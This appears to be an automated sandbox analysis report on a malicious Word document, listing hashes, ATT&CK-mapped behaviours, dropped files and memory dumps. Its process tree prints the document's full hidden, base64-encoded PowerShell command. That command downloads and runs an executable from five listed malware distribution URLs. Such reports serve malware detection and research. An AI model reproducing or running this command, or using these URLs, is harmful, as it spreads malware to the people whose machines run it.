946f2b7669561b2d71bca59bdfa02ff82cb580eb6df077c325b20618a4d8b800

General

Target

946f2b7669561b2d71bca59bdfa02ff82cb580eb6df077c325b20618a4d8b800.doc
Size

213KB
MD5

2d87858d2d5eb98d8e026d07a0fbc371
SHA1

f811c8a6d76611956533bdd4b6e1fac82706730b
SHA256

946f2b7669561b2d71bca59bdfa02ff82cb580eb6df077c325b20618a4d8b800
SHA512

0d28f276a638137bff7bd0c55f182fd336c360c4aa2a8436e3168baa0ef986281ad4d0f5916f923ad9da248a43033bce240b13a67566e97cf3ce5aa7e41e756d
SSDEEP

6144:FF2k4WtGiL3HJk9tD7bdgyD9Wv4G4IFbL:FFvQitkb7bC1bL

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4964	3200	Powershell.exe	82

Blocklisted process makes network request 3 IoCs

flow	pid	Process
27	4964	Powershell.exe
88	4964	Powershell.exe
91	4964	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4964	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
916	WINWORD.EXE
916	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4964	Powershell.exe
4964	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4964	Powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
916	WINWORD.EXE
916	WINWORD.EXE
916	WINWORD.EXE
916	WINWORD.EXE
916	WINWORD.EXE
916	WINWORD.EXE
916	WINWORD.EXE
916	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 916 wrote to memory of 1484	916	WINWORD.EXE	84
PID 916 wrote to memory of 1484	916	WINWORD.EXE	84

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\946f2b7669561b2d71bca59bdfa02ff82cb580eb6df077c325b20618a4d8b800.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:916
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1484

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\FAB09697.wmf

Filesize
444B

MD5
6b9d160e4c91427d7ffb186e5802945e

SHA1
f7e82a2f4b20b5e5cdbe9ac5beac77756880dc0d

SHA256
95c789df3d2987b4ab8422b51eb52ec5cbb46754bf6e656ed1608b6b390d1a7b

SHA512
d005f002c220d9d6c2e8ee385514abbc6046ca3ff1b059cd7e39aa09153a06a8ac28b5d75207b369bf530a5b590f6b3772dc53b8bd4fb0ed6b256825b7496171

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDB4EE.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uqpkkfgs.y5d.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
110e6f8a203e18b44f32a69ccc577bb6

SHA1
9edf52a5374d63d90004202e345af71cf4040073

SHA256
a9f79973bc57665a2b635d7cfad3edc1f15b932168751583b6c90e9e2f98a9f7

SHA512
6631d0e948cca38c462afdee3898906dbb13db43d17dc8aa33dc3b34ab1849b80c06f2eb63ed3f2bbc4cf16b3358e283919f542dea709e137082eb65388e6e49

Download Submit
memory/916-10-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-20-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-1-0x00007FFF1BC10000-0x00007FFF1BC20000-memory.dmp

Filesize
64KB

Download
memory/916-11-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-9-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-12-0x00007FFF19670000-0x00007FFF19680000-memory.dmp

Filesize
64KB

Download
memory/916-8-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-14-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-15-0x00007FFF19670000-0x00007FFF19680000-memory.dmp

Filesize
64KB

Download
memory/916-18-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-17-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-16-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-19-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-7-0x00007FFF1BC10000-0x00007FFF1BC20000-memory.dmp

Filesize
64KB

Download
memory/916-13-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-4-0x00007FFF1BC10000-0x00007FFF1BC20000-memory.dmp

Filesize
64KB

Download
memory/916-6-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-5-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-0-0x00007FFF5BC2D000-0x00007FFF5BC2E000-memory.dmp

Filesize
4KB

Download
memory/916-3-0x00007FFF1BC10000-0x00007FFF1BC20000-memory.dmp

Filesize
64KB

Download
memory/916-76-0x00007FFF5BC2D000-0x00007FFF5BC2E000-memory.dmp

Filesize
4KB

Download
memory/916-77-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-78-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-79-0x00007FFF5BB90000-0x00007FFF5BD85000-memory.dmp

Filesize
2.0MB

Download
memory/916-2-0x00007FFF1BC10000-0x00007FFF1BC20000-memory.dmp

Filesize
64KB

Download
memory/4964-63-0x000001EE858A0000-0x000001EE858C2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads